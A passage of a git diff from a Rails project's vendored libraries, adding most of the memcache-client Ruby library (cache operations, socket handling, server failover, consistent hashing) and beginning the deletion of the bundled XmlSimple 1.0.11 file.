+  # Set to nil to disable timeouts.
+
+  attr_reader :timeout
+
+  ##
+  # Should the client try to failover to another server if the
+  # first server is down?  Defaults to true.
+
+  attr_reader :failover
+
+  ##
+  # Log debug/info/warn/error to the given Logger, defaults to nil.
+
+  attr_reader :logger
+
+  ##
+  # Don't send or look for a reply from the memcached server for write operations.
+  # Please note this feature only works in memcached 1.2.5 and later.  Earlier
+  # versions will reply with "ERROR".
+  attr_reader :no_reply
+
+  ##
+  # Accepts a list of +servers+ and a list of +opts+.  +servers+ may be
+  # omitted.  See +servers=+ for acceptable server list arguments.
+  #
+  # Valid options for +opts+ are:
+  #
+  #   [:namespace]   Prepends this value to all keys added or retrieved.
+  #   [:readonly]    Raises an exception on cache writes when true.
+  #   [:multithread] Wraps cache access in a Mutex for thread safety. Defaults to true.
+  #   [:failover]    Should the client try to failover to another server if the
+  #                  first server is down?  Defaults to true.
+  #   [:timeout]     Time to use as the socket read timeout.  Defaults to 0.5 sec,
+  #                  set to nil to disable timeouts (this is a major performance penalty in Ruby 1.8,
+  #                  "gem install SystemTimer' to remove most of the penalty).
+  #   [:logger]      Logger to use for info/debug output, defaults to nil
+  #   [:no_reply]    Don't bother looking for a reply for write operations (i.e. they
+  #                  become 'fire and forget'), memcached 1.2.5 and later only, speeds up
+  #                  set/add/delete/incr/decr significantly.
+  #
+  # Other options are ignored.
+
+  def initialize(*args)
+    servers = []
+    opts = {}
+
+    case args.length
+    when 0 then # NOP
+    when 1 then
+      arg = args.shift
+      case arg
+      when Hash   then opts = arg
+      when Array  then servers = arg
+      when String then servers = [arg]
+      else raise ArgumentError, 'first argument must be Array, Hash or String'
+      end
+    when 2 then
+      servers, opts = args
+    else
+      raise ArgumentError, "wrong number of arguments (#{args.length} for 2)"
+    end
+
+    opts = DEFAULT_OPTIONS.merge opts
+    @namespace   = opts[:namespace]
+    @readonly    = opts[:readonly]
+    @multithread = opts[:multithread]
+    @timeout     = opts[:timeout]
+    @failover    = opts[:failover]
+    @logger      = opts[:logger]
+    @no_reply    = opts[:no_reply]
+    @mutex       = Mutex.new if @multithread
+
+    logger.info { "memcache-client #{VERSION} #{Array(servers).inspect}" } if logger
+
+    Thread.current[:memcache_client] = self.object_id if !@multithread
+
+    self.servers = servers
+  end
+
+  ##
+  # Returns a string representation of the cache object.
+
+  def inspect
+    "<MemCache: %d servers, ns: %p, ro: %p>" %
+      [@servers.length, @namespace, @readonly]
+  end
+
+  ##
+  # Returns whether there is at least one active server for the object.
+
+  def active?
+    not @servers.empty?
+  end
+
+  ##
+  # Returns whether or not the cache object was created read only.
+
+  def readonly?
+    @readonly
+  end
+
+  ##
+  # Set the servers that the requests will be distributed between.  Entries
+  # can be either strings of the form "hostname:port" or
+  # "hostname:port:weight" or MemCache::Server objects.
+  #
+  def servers=(servers)
+    # Create the server objects.
+    @servers = Array(servers).collect do |server|
+      case server
+      when String
+        host, port, weight = server.split ':', 3
+        port ||= DEFAULT_PORT
+        weight ||= DEFAULT_WEIGHT
+        Server.new self, host, port, weight
+      else
+        server
+      end
+    end
+
+    logger.debug { "Servers now: #{@servers.inspect}" } if logger
+
+    # There's no point in doing this if there's only one server
+    @continuum = create_continuum_for(@servers) if @servers.size > 1
+
+    @servers
+  end
+
+  ##
+  # Decrements the value for +key+ by +amount+ and returns the new value.
+  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
+  # 0.  +key+ can not be decremented below 0.
+
+  def decr(key, amount = 1)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      cache_decr server, cache_key, amount
+    end
+  rescue TypeError => err
+    handle_error nil, err
+  end
+
+  ##
+  # Retrieves +key+ from memcache.  If +raw+ is false, the value will be
+  # unmarshalled.
+
+  def get(key, raw = false)
+    with_server(key) do |server, cache_key|
+      logger.debug { "get #{key} from #{server.inspect}" } if logger
+      value = cache_get server, cache_key
+      return nil if value.nil?
+      value = Marshal.load value unless raw
+      return value
+    end
+  rescue TypeError => err
+    handle_error nil, err
+  end
+
+  ##
+  # Performs a +get+ with the given +key+.  If 
+  # the value does not exist and a block was given,
+  # the block will be called and the result saved via +add+.
+  #
+  # If you do not provide a block, using this
+  # method is the same as using +get+.
+  #
+  def fetch(key, expiry = 0, raw = false)
+    value = get(key, raw)
+
+    if value.nil? && block_given?
+      value = yield
+      add(key, value, expiry, raw)
+    end
+
+    value
+  end
+
+  ##
+  # Retrieves multiple values from memcached in parallel, if possible.
+  #
+  # The memcached protocol supports the ability to retrieve multiple
+  # keys in a single request.  Pass in an array of keys to this method
+  # and it will:
+  #
+  # 1. map the key to the appropriate memcached server
+  # 2. send a single request to each server that has one or more key values
+  #
+  # Returns a hash of values.
+  #
+  #   cache["a"] = 1
+  #   cache["b"] = 2
+  #   cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 }
+  #
+  # Note that get_multi assumes the values are marshalled.
+
+  def get_multi(*keys)
+    raise MemCacheError, 'No active servers' unless active?
+
+    keys.flatten!
+    key_count = keys.length
+    cache_keys = {}
+    server_keys = Hash.new { |h,k| h[k] = [] }
+
+    # map keys to servers
+    keys.each do |key|
+      server, cache_key = request_setup key
+      cache_keys[cache_key] = key
+      server_keys[server] << cache_key
+    end
+
+    results = {}
+
+    server_keys.each do |server, keys_for_server|
+      keys_for_server_str = keys_for_server.join ' '
+      begin
+        values = cache_get_multi server, keys_for_server_str
+        values.each do |key, value|
+          results[cache_keys[key]] = Marshal.load value
+        end
+      rescue IndexError => e
+        # Ignore this server and try the others
+        logger.warn { "Unable to retrieve #{keys_for_server.size} elements from #{server.inspect}: #{e.message}"} if logger
+      end
+    end
+
+    return results
+  rescue TypeError => err
+    handle_error nil, err
+  end
+
+  ##
+  # Increments the value for +key+ by +amount+ and returns the new value.
+  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
+  # 0.
+
+  def incr(key, amount = 1)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      cache_incr server, cache_key, amount
+    end
+  rescue TypeError => err
+    handle_error nil, err
+  end
+
+  ##
+  # Add +key+ to the cache with value +value+ that expires in +expiry+
+  # seconds.  If +raw+ is true, +value+ will not be Marshalled.
+  #
+  # Warning: Readers should not call this method in the event of a cache miss;
+  # see MemCache#add.
+
+  ONE_MB = 1024 * 1024
+
+  def set(key, value, expiry = 0, raw = false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+
+      value = Marshal.dump value unless raw
+      logger.debug { "set #{key} to #{server.inspect}: #{value.to_s.size}" } if logger
+
+      raise MemCacheError, "Value too large, memcached can only store 1MB of data per key" if value.to_s.size > ONE_MB
+
+      command = "set #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+
+        if result.nil?
+          server.close
+          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+        end
+
+        result
+      end
+    end
+  end
+
+  ##
+  # "cas" is a check and set operation which means "store this data but
+  # only if no one else has updated since I last fetched it."  This can
+  # be used as a form of optimistic locking.
+  #
+  # Works in block form like so:
+  #   cache.cas('some-key') do |value|
+  #     value + 1
+  #   end
+  #
+  # Returns:
+  # +nil+ if the value was not found on the memcached server.
+  # +STORED+ if the value was updated successfully
+  # +EXISTS+ if the value was updated by someone else since last fetch
+
+  def cas(key, expiry=0, raw=false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    raise MemCacheError, "A block is required" unless block_given?
+
+    (value, token) = gets(key, raw)
+    return nil unless value
+    updated = yield value
+
+    with_server(key) do |server, cache_key|
+
+      value = Marshal.dump updated unless raw
+      logger.debug { "cas #{key} to #{server.inspect}: #{value.to_s.size}" } if logger
+      command = "cas #{cache_key} 0 #{expiry} #{value.to_s.size} #{token}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+
+        if result.nil?
+          server.close
+          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+        end
+
+        result
+      end
+    end
+  end
+
+  ##
+  # Add +key+ to the cache with value +value+ that expires in +expiry+
+  # seconds, but only if +key+ does not already exist in the cache.
+  # If +raw+ is true, +value+ will not be Marshalled.
+  #
+  # Readers should call this method in the event of a cache miss, not
+  # MemCache#set.
+
+  def add(key, value, expiry = 0, raw = false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      value = Marshal.dump value unless raw
+      logger.debug { "add #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
+      command = "add #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+        result
+      end
+    end
+  end
+  
+  ##
+  # Add +key+ to the cache with value +value+ that expires in +expiry+
+  # seconds, but only if +key+ already exists in the cache.
+  # If +raw+ is true, +value+ will not be Marshalled.
+  def replace(key, value, expiry = 0, raw = false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      value = Marshal.dump value unless raw
+      logger.debug { "replace #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
+      command = "replace #{cache_key} 0 #{expiry} #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+        result
+      end
+    end
+  end
+
+  ##
+  # Append - 'add this data to an existing key after existing data'
+  # Please note the value is always passed to memcached as raw since it
+  # doesn't make a lot of sense to concatenate marshalled data together.
+  def append(key, value)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      logger.debug { "append #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
+      command = "append #{cache_key} 0 0 #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+        result
+      end
+    end
+  end
+
+  ##
+  # Prepend - 'add this data to an existing key before existing data'
+  # Please note the value is always passed to memcached as raw since it
+  # doesn't make a lot of sense to concatenate marshalled data together.
+  def prepend(key, value)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      logger.debug { "prepend #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger
+      command = "prepend #{cache_key} 0 0 #{value.to_s.size}#{noreply}\r\n#{value}\r\n"
+
+      with_socket_management(server) do |socket|
+        socket.write command
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+        result
+      end
+    end
+  end
+
+  ##
+  # Removes +key+ from the cache in +expiry+ seconds.
+
+  def delete(key, expiry = 0)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    with_server(key) do |server, cache_key|
+      with_socket_management(server) do |socket|
+        logger.debug { "delete #{cache_key} on #{server}" } if logger
+        socket.write "delete #{cache_key} #{expiry}#{noreply}\r\n"
+        break nil if @no_reply
+        result = socket.gets
+        raise_on_error_response! result
+        result
+      end
+    end
+  end
+
+  ##
+  # Flush the cache from all memcache servers.
+  # A non-zero value for +delay+ will ensure that the flush
+  # is propogated slowly through your memcached server farm.
+  # The Nth server will be flushed N*delay seconds from now,
+  # asynchronously so this method returns quickly.
+  # This prevents a huge database spike due to a total
+  # flush all at once.
+
+  def flush_all(delay=0)
+    raise MemCacheError, 'No active servers' unless active?
+    raise MemCacheError, "Update of readonly cache" if @readonly
+
+    begin
+      delay_time = 0
+      @servers.each do |server|
+        with_socket_management(server) do |socket|
+          logger.debug { "flush_all #{delay_time} on #{server}" } if logger
+          if delay == 0 # older versions of memcached will fail silently otherwise
+            socket.write "flush_all#{noreply}\r\n"
+          else
+            socket.write "flush_all #{delay_time}#{noreply}\r\n"
+          end
+          break nil if @no_reply
+          result = socket.gets
+          raise_on_error_response! result
+          result
+        end
+        delay_time += delay
+      end
+    rescue IndexError => err
+      handle_error nil, err
+    end
+  end
+
+  ##
+  # Reset the connection to all memcache servers.  This should be called if
+  # there is a problem with a cache lookup that might have left the connection
+  # in a corrupted state.
+
+  def reset
+    @servers.each { |server| server.close }
+  end
+
+  ##
+  # Returns statistics for each memcached server.  An explanation of the
+  # statistics can be found in the memcached docs:
+  #
+  # http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt
+  #
+  # Example:
+  #
+  #   >> pp CACHE.stats
+  #   {"localhost:11211"=>
+  #     {"bytes"=>4718,
+  #      "pid"=>20188,
+  #      "connection_structures"=>4,
+  #      "time"=>1162278121,
+  #      "pointer_size"=>32,
+  #      "limit_maxbytes"=>67108864,
+  #      "cmd_get"=>14532,
+  #      "version"=>"1.2.0",
+  #      "bytes_written"=>432583,
+  #      "cmd_set"=>32,
+  #      "get_misses"=>0,
+  #      "total_connections"=>19,
+  #      "curr_connections"=>3,
+  #      "curr_items"=>4,
+  #      "uptime"=>1557,
+  #      "get_hits"=>14532,
+  #      "total_items"=>32,
+  #      "rusage_system"=>0.313952,
+  #      "rusage_user"=>0.119981,
+  #      "bytes_read"=>190619}}
+  #   => nil
+
+  def stats
+    raise MemCacheError, "No active servers" unless active?
+    server_stats = {}
+
+    @servers.each do |server|
+      next unless server.alive?
+
+      with_socket_management(server) do |socket|
+        value = nil
+        socket.write "stats\r\n"
+        stats = {}
+        while line = socket.gets do
+          raise_on_error_response! line
+          break if line == "END\r\n"
+          if line =~ /\ASTAT ([\S]+) ([\w\.\:]+)/ then
+            name, value = $1, $2
+            stats[name] = case name
+                          when 'version'
+                            value
+                          when 'rusage_user', 'rusage_system' then
+                            seconds, microseconds = value.split(/:/, 2)
+                            microseconds ||= 0
+                            Float(seconds) + (Float(microseconds) / 1_000_000)
+                          else
+                            if value =~ /\A\d+\Z/ then
+                              value.to_i
+                            else
+                              value
+                            end
+                          end
+          end
+        end
+        server_stats["#{server.host}:#{server.port}"] = stats
+      end
+    end
+
+    raise MemCacheError, "No active servers" if server_stats.empty?
+    server_stats
+  end
+
+  ##
+  # Shortcut to get a value from the cache.
+
+  alias [] get
+
+  ##
+  # Shortcut to save a value in the cache.  This method does not set an
+  # expiration on the entry.  Use set to specify an explicit expiry.
+
+  def []=(key, value)
+    set key, value
+  end
+
+  protected unless $TESTING
+
+  ##
+  # Create a key for the cache, incorporating the namespace qualifier if
+  # requested.
+
+  def make_cache_key(key)
+    if namespace.nil? then
+      key
+    else
+      "#{@namespace}:#{key}"
+    end
+  end
+
+  ##
+  # Returns an interoperable hash value for +key+.  (I think, docs are
+  # sketchy for down servers).
+
+  def hash_for(key)
+    Zlib.crc32(key)
+  end
+
+  ##
+  # Pick a server to handle the request based on a hash of the key.
+
+  def get_server_for_key(key, options = {})
+    raise ArgumentError, "illegal character in key #{key.inspect}" if
+      key =~ /\s/
+    raise ArgumentError, "key too long #{key.inspect}" if key.length > 250
+    raise MemCacheError, "No servers available" if @servers.empty?
+    return @servers.first if @servers.length == 1
+
+    hkey = hash_for(key)
+
+    20.times do |try|
+      entryidx = Continuum.binary_search(@continuum, hkey)
+      server = @continuum[entryidx].server
+      return server if server.alive?
+      break unless failover
+      hkey = hash_for "#{try}#{key}"
+    end
+    
+    raise MemCacheError, "No servers available"
+  end
+
+  ##
+  # Performs a raw decr for +cache_key+ from +server+.  Returns nil if not
+  # found.
+
+  def cache_decr(server, cache_key, amount)
+    with_socket_management(server) do |socket|
+      socket.write "decr #{cache_key} #{amount}#{noreply}\r\n"
+      break nil if @no_reply
+      text = socket.gets
+      raise_on_error_response! text
+      return nil if text == "NOT_FOUND\r\n"
+      return text.to_i
+    end
+  end
+
+  ##
+  # Fetches the raw data for +cache_key+ from +server+.  Returns nil on cache
+  # miss.
+
+  def cache_get(server, cache_key)
+    with_socket_management(server) do |socket|
+      socket.write "get #{cache_key}\r\n"
+      keyline = socket.gets # "VALUE <key> <flags> <bytes>\r\n"
+
+      if keyline.nil? then
+        server.close
+        raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+      end
+
+      raise_on_error_response! keyline
+      return nil if keyline == "END\r\n"
+
+      unless keyline =~ /(\d+)\r/ then
+        server.close
+        raise MemCacheError, "unexpected response #{keyline.inspect}"
+      end
+      value = socket.read $1.to_i
+      socket.read 2 # "\r\n"
+      socket.gets   # "END\r\n"
+      return value
+    end
+  end
+
+  def gets(key, raw = false)
+    with_server(key) do |server, cache_key|
+      logger.debug { "gets #{key} from #{server.inspect}" } if logger
+      result = with_socket_management(server) do |socket|
+        socket.write "gets #{cache_key}\r\n"
+        keyline = socket.gets # "VALUE <key> <flags> <bytes> <cas token>\r\n"
+
+        if keyline.nil? then
+          server.close
+          raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+        end
+
+        raise_on_error_response! keyline
+        return nil if keyline == "END\r\n"
+
+        unless keyline =~ /(\d+) (\w+)\r/ then
+          server.close
+          raise MemCacheError, "unexpected response #{keyline.inspect}"
+        end
+        value = socket.read $1.to_i
+        socket.read 2 # "\r\n"
+        socket.gets   # "END\r\n"
+        [value, $2]
+      end
+      result[0] = Marshal.load result[0] unless raw
+      result
+    end
+  rescue TypeError => err
+    handle_error nil, err
+  end
+
+
+  ##
+  # Fetches +cache_keys+ from +server+ using a multi-get.
+
+  def cache_get_multi(server, cache_keys)
+    with_socket_management(server) do |socket|
+      values = {}
+      socket.write "get #{cache_keys}\r\n"
+
+      while keyline = socket.gets do
+        return values if keyline == "END\r\n"
+        raise_on_error_response! keyline
+
+        unless keyline =~ /\AVALUE (.+) (.+) (.+)/ then
+          server.close
+          raise MemCacheError, "unexpected response #{keyline.inspect}"
+        end
+
+        key, data_length = $1, $3
+        values[$1] = socket.read data_length.to_i
+        socket.read(2) # "\r\n"
+      end
+
+      server.close
+      raise MemCacheError, "lost connection to #{server.host}:#{server.port}" # TODO: retry here too
+    end
+  end
+
+  ##
+  # Performs a raw incr for +cache_key+ from +server+.  Returns nil if not
+  # found.
+
+  def cache_incr(server, cache_key, amount)
+    with_socket_management(server) do |socket|
+      socket.write "incr #{cache_key} #{amount}#{noreply}\r\n"
+      break nil if @no_reply
+      text = socket.gets
+      raise_on_error_response! text
+      return nil if text == "NOT_FOUND\r\n"
+      return text.to_i
+    end
+  end
+
+  ##
+  # Gets or creates a socket connected to the given server, and yields it
+  # to the block, wrapped in a mutex synchronization if @multithread is true.
+  #
+  # If a socket error (SocketError, SystemCallError, IOError) or protocol error
+  # (MemCacheError) is raised by the block, closes the socket, attempts to
+  # connect again, and retries the block (once).  If an error is again raised,
+  # reraises it as MemCacheError.
+  #
+  # If unable to connect to the server (or if in the reconnect wait period),
+  # raises MemCacheError.  Note that the socket connect code marks a server
+  # dead for a timeout period, so retrying does not apply to connection attempt
+  # failures (but does still apply to unexpectedly lost connections etc.).
+
+  def with_socket_management(server, &block)
+    check_multithread_status!
+
+    @mutex.lock if @multithread
+    retried = false
+
+    begin
+      socket = server.socket
+
+      # Raise an IndexError to show this server is out of whack. If were inside
+      # a with_server block, we'll catch it and attempt to restart the operation.
+
+      raise IndexError, "No connection to server (#{server.status})" if socket.nil?
+
+      block.call(socket)
+
+    rescue SocketError, Errno::EAGAIN, Timeout::Error => err
+      logger.warn { "Socket failure: #{err.message}" } if logger
+      server.mark_dead(err)
+      handle_error(server, err)
+
+    rescue MemCacheError, SystemCallError, IOError => err
+      logger.warn { "Generic failure: #{err.class.name}: #{err.message}" } if logger
+      handle_error(server, err) if retried || socket.nil?
+      retried = true
+      retry
+    end
+  ensure
+    @mutex.unlock if @multithread
+  end
+
+  def with_server(key)
+    retried = false
+    begin
+      server, cache_key = request_setup(key)
+      yield server, cache_key
+    rescue IndexError => e
+      logger.warn { "Server failed: #{e.class.name}: #{e.message}" } if logger
+      if !retried && @servers.size > 1
+        logger.info { "Connection to server #{server.inspect} DIED! Retrying operation..." } if logger
+        retried = true
+        retry
+      end
+      handle_error(nil, e)
+    end
+  end
+
+  ##
+  # Handles +error+ from +server+.
+
+  def handle_error(server, error)
+    raise error if error.is_a?(MemCacheError)
+    server.close if server
+    new_error = MemCacheError.new error.message
+    new_error.set_backtrace error.backtrace
+    raise new_error
+  end
+
+  def noreply
+    @no_reply ? ' noreply' : ''
+  end
+
+  ##
+  # Performs setup for making a request with +key+ from memcached.  Returns
+  # the server to fetch the key from and the complete key to use.
+
+  def request_setup(key)
+    raise MemCacheError, 'No active servers' unless active?
+    cache_key = make_cache_key key
+    server = get_server_for_key cache_key
+    return server, cache_key
+  end
+
+  def raise_on_error_response!(response)
+    if response =~ /\A(?:CLIENT_|SERVER_)?ERROR(.*)/
+      raise MemCacheError, $1.strip
+    end
+  end
+
+  def create_continuum_for(servers)
+    total_weight = servers.inject(0) { |memo, srv| memo + srv.weight }
+    continuum = []
+
+    servers.each do |server|
+      entry_count_for(server, servers.size, total_weight).times do |idx|
+        hash = Digest::SHA1.hexdigest("#{server.host}:#{server.port}:#{idx}")
+        value = Integer("0x#{hash[0..7]}")
+        continuum << Continuum::Entry.new(value, server)
+      end
+    end
+
+    continuum.sort { |a, b| a.value <=> b.value }
+  end
+
+  def entry_count_for(server, total_servers, total_weight)
+    ((total_servers * Continuum::POINTS_PER_SERVER * server.weight) / Float(total_weight)).floor
+  end
+
+  def check_multithread_status!
+    return if @multithread
+
+    if Thread.current[:memcache_client] != self.object_id
+      raise MemCacheError, <<-EOM
+        You are accessing this memcache-client instance from multiple threads but have not enabled multithread support.
+        Normally:  MemCache.new(['localhost:11211'], :multithread => true)
+        In Rails:  config.cache_store = [:mem_cache_store, 'localhost:11211', { :multithread => true }]
+      EOM
+    end
+  end
+
+  ##
+  # This class represents a memcached server instance.
+
+  class Server
+
+    ##
+    # The amount of time to wait before attempting to re-establish a
+    # connection with a server that is marked dead.
+
+    RETRY_DELAY = 30.0
+
+    ##
+    # The host the memcached server is running on.
+
+    attr_reader :host
+
+    ##
+    # The port the memcached server is listening on.
+
+    attr_reader :port
+
+    ##
+    # The weight given to the server.
+
+    attr_reader :weight
+
+    ##
+    # The time of next retry if the connection is dead.
+
+    attr_reader :retry
+
+    ##
+    # A text status string describing the state of the server.
+
+    attr_reader :status
+
+    attr_reader :logger
+
+    ##
+    # Create a new MemCache::Server object for the memcached instance
+    # listening on the given host and port, weighted by the given weight.
+
+    def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)
+      raise ArgumentError, "No host specified" if host.nil? or host.empty?
+      raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero?
+
+      @host   = host
+      @port   = port.to_i
+      @weight = weight.to_i
+
+      @sock   = nil
+      @retry  = nil
+      @status = 'NOT CONNECTED'
+      @timeout = memcache.timeout
+      @logger = memcache.logger
+    end
+
+    ##
+    # Return a string representation of the server object.
+
+    def inspect
+      "<MemCache::Server: %s:%d [%d] (%s)>" % [@host, @port, @weight, @status]
+    end
+
+    ##
+    # Check whether the server connection is alive.  This will cause the
+    # socket to attempt to connect if it isn't already connected and or if
+    # the server was previously marked as down and the retry time has
+    # been exceeded.
+
+    def alive?
+      !!socket
+    end
+
+    ##
+    # Try to connect to the memcached server targeted by this object.
+    # Returns the connected socket object on success or nil on failure.
+
+    def socket
+      return @sock if @sock and not @sock.closed?
+
+      @sock = nil
+
+      # If the host was dead, don't retry for a while.
+      return if @retry and @retry > Time.now
+
+      # Attempt to connect if not already connected.
+      begin
+        @sock = connect_to(@host, @port, @timeout)
+        @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1
+        @retry  = nil
+        @status = 'CONNECTED'
+      rescue SocketError, SystemCallError, IOError => err
+        logger.warn { "Unable to open socket: #{err.class.name}, #{err.message}" } if logger
+        mark_dead err
+      end
+
+      return @sock
+    end
+
+    def connect_to(host, port, timeout=nil)
+      io = MemCache::BufferedIO.new(TCPSocket.new(host, port))
+      io.read_timeout = timeout
+      io
+    end
+
+    ##
+    # Close the connection to the memcached server targeted by this
+    # object.  The server is not considered dead.
+
+    def close
+      @sock.close if @sock && !@sock.closed?
+      @sock   = nil
+      @retry  = nil
+      @status = "NOT CONNECTED"
+    end
+
+    ##
+    # Mark the server as dead and close its socket.
+
+    def mark_dead(error)
+      @sock.close if @sock && !@sock.closed?
+      @sock   = nil
+      @retry  = Time.now + RETRY_DELAY
+
+      reason = "#{error.class.name}: #{error.message}"
+      @status = sprintf "%s:%s DEAD (%s), will retry at %s", @host, @port, reason, @retry
+      @logger.info { @status } if @logger
+    end
+
+  end
+
+  ##
+  # Base MemCache exception class.
+
+  class MemCacheError < RuntimeError; end
+
+  class BufferedIO < Net::BufferedIO # :nodoc:
+    BUFSIZE = 1024 * 16
+
+    # An implementation similar to this is in *trunk* for 1.9.  When it
+    # gets released, this method can be removed when using 1.9
+    def rbuf_fill
+      begin
+        @rbuf << @io.read_nonblock(BUFSIZE)
+      rescue Errno::EWOULDBLOCK
+        retry unless @read_timeout
+        if IO.select([@io], nil, nil, @read_timeout)
+          retry
+        else
+          raise Timeout::Error, 'IO timeout'
+        end
+      end
+    end
+
+    def setsockopt *args
+      @io.setsockopt *args
+    end
+
+    def gets
+      readuntil("\n")
+    end
+  end
+
+end
+
+module Continuum
+  POINTS_PER_SERVER = 160 # this is the default in libmemcached
+
+  # Find the closest index in Continuum with value <= the given value
+  def self.binary_search(ary, value, &block)
+    upper = ary.size - 1
+    lower = 0
+    idx = 0
+
+    while(lower <= upper) do
+      idx = (lower + upper) / 2
+      comp = ary[idx].value <=> value
+
+      if comp == 0
+        return idx
+      elsif comp > 0
+        upper = idx - 1
+      else
+        lower = idx + 1
+      end
+    end
+    return upper
+  end
+
+  class Entry
+    attr_reader :value
+    attr_reader :server
+
+    def initialize(val, srv)
+      @value = val
+      @server = srv
+    end
+
+    def inspect
+      "<#{value}, #{server.host}:#{server.port}>"
+    end
+  end
+
+end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb b/vendor/rails/activesupport/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb
deleted file mode 100644
index ec6dab51..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/xml-simple-1.0.11/xmlsimple.rb
+++ /dev/null
@@ -1,1021 +0,0 @@
-# = XmlSimple
-#
-# Author::    Maik Schmidt <contact@maik-schmidt.de>
-# Copyright:: Copyright (c) 2003-2006 Maik Schmidt
-# License::   Distributes under the same terms as Ruby.
-#
-require 'rexml/document'
-require 'stringio'
-
-# Easy API to maintain XML (especially configuration files).
-class XmlSimple
-  include REXML
-
-  @@VERSION = '1.0.11'
-
-  # A simple cache for XML documents that were already transformed
-  # by xml_in.
-  class Cache
-    # Creates and initializes a new Cache object.
-    def initialize
-      @mem_share_cache = {}
-      @mem_copy_cache  = {}
-    end
-
-    # Saves a data structure into a file.
-    # 
-    # data::
-    #   Data structure to be saved.
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def save_storable(data, filename)
-      cache_file = get_cache_filename(filename)
-      File.open(cache_file, "w+") { |f| Marshal.dump(data, f) }
-    end
-
-    # Restores a data structure from a file. If restoring the data
-    # structure failed for any reason, nil will be returned.
-    #
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def restore_storable(filename)
-      cache_file = get_cache_filename(filename)
-      return nil unless File::exist?(cache_file)
-      return nil unless File::mtime(cache_file).to_i > File::mtime(filename).to_i
-      data = nil
-      File.open(cache_file) { |f| data = Marshal.load(f) }
-      data
-    end
-
-    # Saves a data structure in a shared memory cache.
-    #
-    # data::
-    #   Data structure to be saved.
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def save_mem_share(data, filename)
-      @mem_share_cache[filename] = [Time::now.to_i, data]
-    end
-
-    # Restores a data structure from a shared memory cache. You
-    # should consider these elements as "read only". If restoring
-    # the data structure failed for any reason, nil will be
-    # returned.
-    #
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def restore_mem_share(filename)
-      get_from_memory_cache(filename, @mem_share_cache)
-    end
-
-    # Copies a data structure to a memory cache.
-    #
-    # data::
-    #   Data structure to be copied.
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def save_mem_copy(data, filename)
-      @mem_share_cache[filename] = [Time::now.to_i, Marshal.dump(data)]
-    end
-
-    # Restores a data structure from a memory cache. If restoring
-    # the data structure failed for any reason, nil will be
-    # returned.
-    #
-    # filename::
-    #   Name of the file belonging to the data structure.
-    def restore_mem_copy(filename)
-      data = get_from_memory_cache(filename, @mem_share_cache)
-      data = Marshal.load(data) unless data.nil?
-      data
-    end
-
-    private
-
-    # Returns the "cache filename" belonging to a filename, i.e.
-    # the extension '.xml' in the original filename will be replaced
-    # by '.stor'. If filename does not have this extension, '.stor'
-    # will be appended.
-    #
-    # filename::
-    #   Filename to get "cache filename" for.
-    def get_cache_filename(filename)
-      filename.sub(/(\.xml)?$/, '.stor')
-    end
-
-    # Returns a cache entry from a memory cache belonging to a
-    # certain filename. If no entry could be found for any reason,
-    # nil will be returned.
-    #
-    # filename::
-    #   Name of the file the cache entry belongs to.
-    # cache::
-    #   Memory cache to get entry from.
-    def get_from_memory_cache(filename, cache)
-      return nil unless cache[filename]
-      return nil unless cache[filename][0] > File::mtime(filename).to_i
-      return cache[filename][1]
-    end
-  end
-
-  # Create a "global" cache.
-  @@cache = Cache.new
-
-  # Creates and initializes a new XmlSimple object.
-  # 
-  # defaults::
-  #   Default values for options.
-  def initialize(defaults = nil)
-    unless defaults.nil? || defaults.instance_of?(Hash)
-      raise ArgumentError, "Options have to be a Hash."
-    end
